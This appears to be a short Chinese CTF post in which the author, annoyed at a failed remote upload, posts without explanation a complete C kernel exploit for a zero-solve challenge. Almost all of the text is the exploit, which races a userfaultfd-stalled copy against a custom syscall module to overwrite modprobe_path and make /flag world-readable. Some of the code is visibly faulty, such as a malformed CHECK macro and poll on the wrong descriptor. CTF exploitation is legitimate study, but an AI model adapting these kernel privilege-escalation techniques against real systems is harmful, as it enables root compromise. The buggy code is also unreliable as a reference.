一个傻逼内核题,远程传文件传了俩小时,到比赛结束都没成功传上去,现在心情很糟糕,所以也不想写思路了,就贴一下exp
,证明我打通了。。。(虽然wp
提交还没结束,但是零解题贴下exp
没啥问题吧?)
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <ctype.h>
#include <pthread.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <sys/shm.h>
#include <sys/signal.h>
#include <asm/ldt.h>
#include <sys/xattr.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#define PAGE_SIZE 0x1000
#define SU_message_set_flag 0x2001
#define SU_message_set_string 0x2002
#define SU_message_release 0x2003
#define SU_message_is_flag 0x3001
#define SU_message_is_string 0x3002
#define SU_message_open 1000
#define SU_message_config 1001
size_t modprobe_path_addr = 0xffffffff82c6c360 - 8;
struct SU_message_context
{
char *message_name;
unsigned int size;
int type;
char *message_content;
unsigned int message_len;
};
void errExit(char *msg)
{
puts(msg);
exit(-1);
}
void gen_test()
{
puts("[+] Prepare chmod file.");
system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/copy.sh");
system("chmod +x /tmp/copy.sh");
puts("[+] Prepare trigger file.");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/winmt");
system("chmod +x /tmp/winmt");
}
void get_flag()
{
system("cat /proc/sys/kernel/modprobe");
system("/tmp/winmt");
system("cat /flag");
}
int ms_qid, res;
char *path = "aaaaaaaa/tmp/copy.sh\x00";
#define CHECK(expr) \
if((expr) ==-1)
{ \
do{ \
perror(#expr); \
exit(EXIT_FAILURE); \
} while (0); \
}
pthread_t thr;
static void registerUserfault(void *FAULT_PAGE, void *handler)
{
struct uffdio_api ua;
struct uffdio_register ur;
uint64_t uffd = syscall(__NR_userfaultfd, O_CLOEXEC |O_NONBLOCK);
CHECK(uffd);
ua.api = UFFD_API;
ua.features=0;
CHECK(ioctl(uffd, UFFDIO_API, &ua));
if (mmap((void *)FAULT_PAGE,PAGE_SIZE, PROT_READ|PROT_WRITE,MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1,0)!=(void *)FAULT_PAGE)
{
perror("register_userfault() mmap");
exit(EXIT_FAILURE);
}
printf("[+] mmap(%#lx,%#lx)\n",FAULT_PAGE,PAGE_SIZE);
ur.range.start =(uint64_t)FAULT_PAGE;
ur.range.len=PAGE_SIZE;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
CHECK(ioctl(uffd, UFFDIO_REGISTER, &ur));
printf("[*] register_userfault() %#lx success\n",FAULT_PAGE);
pthread_t s = pthread_create(&thr, NULL,handler, (void*)uffd);
if (s!=0)
printf("[-] handler pthread_create failed");
}
int id;
char *buf_uffd;
#define FAULT_PAGE buf_uffd
void* change_next_handler(void *arg)
{
struct uffd_msg uf_msg;
unsigned long uffd = (unsigned long)arg;
struct uffdio_copy uf_copy;
struct uffdio_range uf_range;
puts("[+] handler created");
puts("[+] restore stuck begin");
struct pollfd pollfd;
int nready;
pollfd.fd = FAULT_PAGE;
pollfd.events = POLLIN;
uf_range.start = buf_uffd;
uf_range.len = PAGE_SIZE;
while(poll(&pollfd, 1, -1) > 0)
{
if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
{
perror("polling error");
exit(-1);
}
nready = read(uffd, &uf_msg, sizeof(uf_msg));
if (nready <= 0) {
puts("[-]uf_msg error!!");
}
if(uf_msg.event != UFFD_EVENT_PAGEFAULT)
{
perror("unexpected result from event");
exit(-1);
}
char uf_buffer[0x1000];
memset(uf_buffer, 0, sizeof(uf_buffer));
memcpy(uf_buffer, path, 0x18);
uf_copy.src = (unsigned long)uf_buffer;
uf_copy.dst = FAULT_PAGE;
uf_copy.len = 0x1000;
uf_copy.mode = 0;
uf_copy.copy = 0;
res = syscall(SU_message_config, id, SU_message_set_flag, &modprobe_path_addr, NULL);
if (res < 0) errExit("Error SU_message_config");
if(ioctl(uffd, UFFDIO_COPY, (unsigned long)&uf_copy) == -1)
{
perror("uffdio_copy error");
exit(-1);
}
if (ioctl(uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1)
{
perror("error unregistering page for userfaultfd");
}
if (munmap((void *)FAULT_PAGE, 0x1000) == -1)
{
perror("error on munmapping race page");
}
puts("[+] handler done!!");
return 0;
}
}
int main()
{
gen_test();
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(0, sizeof(cpu_set), &cpu_set);
for (int k = 0; k < 0x10; k++)
{
id = k;
res = syscall(SU_message_open, "winmt", 0);
if (res < 0) errExit("Error SU_message_open");
// 17 + 16 + 2 = 35
// 35 * 117 = 0xfff
char *key = "AAAAAAAAAAAAAAAAA", *value = "AAAAAAAAAAAAAAAA";
for(int i = 0; i < 117; i++)
{
res = syscall(SU_message_config, id, SU_message_set_string, key, value);
if (res < 0) errExit("Error SU_message_config");
}
// 31 + 1 = 32
char *key2 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
res = syscall(SU_message_config, id, SU_message_set_flag, key2, NULL);
if (res < 0) errExit("Error SU_message_config");
char *buf = (char *)mmap(NULL, PAGE_SIZE*2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
buf_uffd = buf + PAGE_SIZE;
if (buf < 0) errExit("Error mmap");
memset(buf, 'A', 0x1000);
memcpy(buf_uffd, path, 0x18);
if (k > 0) pthread_join(thr, NULL);
registerUserfault(buf_uffd, change_next_handler);
ms_qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
if (ms_qid < 0) errExit("Error msgget");
res = msgsnd(ms_qid, buf + 0x30, 0x1018 - 0x30, 0);
if (res < 0) errExit("Error msgsnd");
get_flag();
sleep(1);
}
get_flag();
return 0;
}